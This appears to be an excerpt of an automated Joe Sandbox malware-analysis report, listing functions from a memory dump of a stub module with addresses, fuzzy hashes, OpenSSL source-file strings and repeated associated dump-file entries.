Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: ..\s\crypto\rsa\rsa_gen.c$T
API String ID: 0-459210079
Opcode ID: 03a3e0c3015470c46ec7c782fb589cb9bbec709e8af736ed5d197ced21d7e5d9
Instruction ID: daf257a2a83bec1bf7592761f1cbb4f9a98a9668c44449d5fcee6ce1bf5cc42f
Opcode Fuzzy Hash: 03a3e0c3015470c46ec7c782fb589cb9bbec709e8af736ed5d197ced21d7e5d9
Instruction Fuzzy Hash: B442F521A1A742AAEA51AF32986027D6394FFC5BC0F144235EF5D53B8AEF3CF551A700

Function 00007FF8A7DE1A4B Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A7EB66DE

Strings

@, xrefs: 00007FF8A7EB66B5

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: memset
String ID: @
API String ID: 2221118986-2766056989
Opcode ID: 5871c7b66a309cf4b09220130cfa0452ed19186941ea21fefdbe485ba4461854
Instruction ID: db961af97a65a8e3e3cc5c916112b87873856273f9419db0db12368ffe25aa73
Opcode Fuzzy Hash: 5871c7b66a309cf4b09220130cfa0452ed19186941ea21fefdbe485ba4461854
Instruction Fuzzy Hash: 97217432719B8496DA508B56A9A022A63B1F78CBC0F406535FF8D47B54EF3CE1A08700

Function 00007FF8A7DE2E8C Relevance: 3.0, APIs: 2, Instructions: 495COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74f30090324b672413da9ca174315d695224bb818384edc0d107c847e0ad9d06
Instruction ID: de27b9bc781296d8fe31f92affffae134cce9ff1b9917a012cb0daa49933fbd9
Opcode Fuzzy Hash: 74f30090324b672413da9ca174315d695224bb818384edc0d107c847e0ad9d06
Instruction Fuzzy Hash: AA020323F0A2E18EF311CBB954501FC3FF1A762389745416ADE89A7F8AC53C961AD760

Function 00007FF8A7DE65A0 Relevance: 3.0, Strings: 2, Instructions: 454COMMON

Download Yara Rule

Strings

3, xrefs: 00007FF8A7FB5608
..\s\crypto\rsa\rsa_chk.c, xrefs: 00007FF8A7FB50CF, 00007FF8A7FB50FE, 00007FF8A7FB513B, 00007FF8A7FB5173, 00007FF8A7FB51BF, 00007FF8A7FB523A, 00007FF8A7FB53C5, 00007FF8A7FB5452, 00007FF8A7FB54BE, 00007FF8A7FB550C, 00007FF8A7FB5596, 00007FF8A7FB55E3, 00007FF8A7FB5610, 00007FF8A7FB5692

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: ..\s\crypto\rsa\rsa_chk.c$3
API String ID: 0-1220129049
Opcode ID: 7d39eb85f851b10388d8042038b0406ecbe17134e9cc68626c9f326c7d5fbd2a
Instruction ID: 655a98ae4ce6720bb4e994b12a5f11de5f29345162f8cf238975d3c0da8bf360
Opcode Fuzzy Hash: 7d39eb85f851b10388d8042038b0406ecbe17134e9cc68626c9f326c7d5fbd2a
Instruction Fuzzy Hash: 3012E221B0A682AAE621AF76D9407BE7791FF847C4F444135EF5D4368AEF3CE644A700

Function 00007FF8A7DE1CC1 Relevance: 2.9, Strings: 2, Instructions: 372COMMON

Download Yara Rule

Strings

x, xrefs: 00007FF8A7FA2BDE
..\s\crypto\pkcs7\pk7_doit.c, xrefs: 00007FF8A7FA281B, 00007FF8A7FA2844, 00007FF8A7FA28E8, 00007FF8A7FA2B7B, 00007FF8A7FA2BBD, 00007FF8A7FA2BD7, 00007FF8A7FA2C48

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: ..\s\crypto\pkcs7\pk7_doit.c$x
API String ID: 0-1293469523
Opcode ID: 57bd4c1e4979c16ff9eec8d9b50c310189e69ecbc563c152568fe3b50eaf3a07
Instruction ID: e904d94b01a0d02234b667ce3096d69f115163f389c29d7469d4d3c29b0d2e6d
Opcode Fuzzy Hash: 57bd4c1e4979c16ff9eec8d9b50c310189e69ecbc563c152568fe3b50eaf3a07
Instruction Fuzzy Hash: 9CF18032B0A682A5EA65DF22945067E67A0FFC8BC4F044135EE4D47B99EF3DE501E704

Function 00007FF8A7DE6F28 Relevance: 2.8, Strings: 2, Instructions: 327COMMON

Download Yara Rule

Strings

..\s\crypto\pkcs12\p12_crt.c, xrefs: 00007FF8A7F9B902
:, xrefs: 00007FF8A7F9B909

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: ..\s\crypto\pkcs12\p12_crt.c$:
API String ID: 0-2681564914
Opcode ID: 0b7f61f92173ca35b3a93ecc37b5a931da33e7eff38a804246444c67384191ab
Instruction ID: e7ffdc8f3c0b9bab6fd2a4a9831e8d3c177a945b92cb209a273921efe6f3e9a9
Opcode Fuzzy Hash: 0b7f61f92173ca35b3a93ecc37b5a931da33e7eff38a804246444c67384191ab
Instruction Fuzzy Hash: 27C1B421B0EA4365FA669F2659116BE63D1EF85BC0F040A34ED5D47BCAEF3DE601A700

Function 00007FF8A7DE2766 Relevance: 2.8, Strings: 2, Instructions: 322COMMON

Download Yara Rule

Strings

..\s\crypto\rsa\rsa_ssl.c, xrefs: 00007FF8A7FC0026, 00007FF8A7FC0042, 00007FF8A7FC039D, 00007FF8A7FC03BF, 00007FF8A7FC0416
J, xrefs: 00007FF8A7FC040E

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: ..\s\crypto\rsa\rsa_ssl.c$J
API String ID: 0-3717188103
Opcode ID: 96ee18c8c4c6a66b226a2867613a14ac0bb42626f52b2d28a079ae1034242587
Instruction ID: 33b926d6c7edc67cc11b76a27ad4c1154c1f1774d5e8c15040a8d790b216cdaf
Opcode Fuzzy Hash: 96ee18c8c4c6a66b226a2867613a14ac0bb42626f52b2d28a079ae1034242587
Instruction Fuzzy Hash: 4BC106336296C18BD768CF25E4416AE7BA1F385384F406229FB8B97B89DE3CD505DB00

Function 00007FF8A7DE5DA3 Relevance: 2.8, Strings: 2, Instructions: 276COMMON

Download Yara Rule

Strings

I, xrefs: 00007FF8A7E87050
..\s\crypto\asn1\a_object.c, xrefs: 00007FF8A7E86ED9, 00007FF8A7E86EF4, 00007FF8A7E86FF5, 00007FF8A7E87014, 00007FF8A7E87035, 00007FF8A7E87063

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: ..\s\crypto\asn1\a_object.c$I
API String ID: 0-1862382675
Opcode ID: 0a3d8225db1eab6d05463a0e37fc63ad47614028ef364078cd2c1eaae30b0401
Instruction ID: 9cb3565a7e35c51285ab499d5400b2b424df20fdf9fe33b072814e5b8da4db76
Opcode Fuzzy Hash: 0a3d8225db1eab6d05463a0e37fc63ad47614028ef364078cd2c1eaae30b0401
Instruction Fuzzy Hash: 13B10432B0A682A5FB61CE15D45037E6791FF81BC4F840235EA9E476C6EF3DE465A700

Function 00007FF8A7DE275C Relevance: 2.8, APIs: 2, Instructions: 260COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A7FC4A20
memset.VCRUNTIME140 ref: 00007FF8A7FC4A46

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: f68bbef17c2619aa7538ca985f0d05f970de2937097a9b90f705c67e5ad2469a
Instruction ID: c7201cf4af4092ee119125845dec0b07cc133e5e0350a207fcc15de2a99676ae
Opcode Fuzzy Hash: f68bbef17c2619aa7538ca985f0d05f970de2937097a9b90f705c67e5ad2469a
Instruction Fuzzy Hash: 62A1092331A2C59FD30ECE7C49404AD6F61E37664474885AEDF84EB78BC918DA29C7B1

Function 00007FF8A7DE3A8F Relevance: 2.7, Strings: 2, Instructions: 231COMMON

Download Yara Rule

Strings

i, xrefs: 00007FF8A7EE18A4
..\s\crypto\cms\cms_pwri.c, xrefs: 00007FF8A7EE176C, 00007FF8A7EE17A8, 00007FF8A7EE1812, 00007FF8A7EE19D7, 00007FF8A7EE1A42

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: ..\s\crypto\cms\cms_pwri.c$i
API String ID: 0-405502633
Opcode ID: d222b23a9c989a3cbdabaa4deb0e66083fdee3844368869d1515c07eed74044d
Instruction ID: 2b79521534907ecf57a58864bd4e7f9430ef7f3acb39d4551d592dd8a7c66cf6
Opcode Fuzzy Hash: d222b23a9c989a3cbdabaa4deb0e66083fdee3844368869d1515c07eed74044d
Instruction Fuzzy Hash: 5DA1A172B0A742A6FA26EF51D81167D6295FF84BC0F044A34EA6D07B86FF3CE451A710

Function 00007FF8A7DE6D5C Relevance: 2.7, APIs: 2, Instructions: 186COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A7FE8D97
memmove.VCRUNTIME140 ref: 00007FF8A7FE8DBC

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
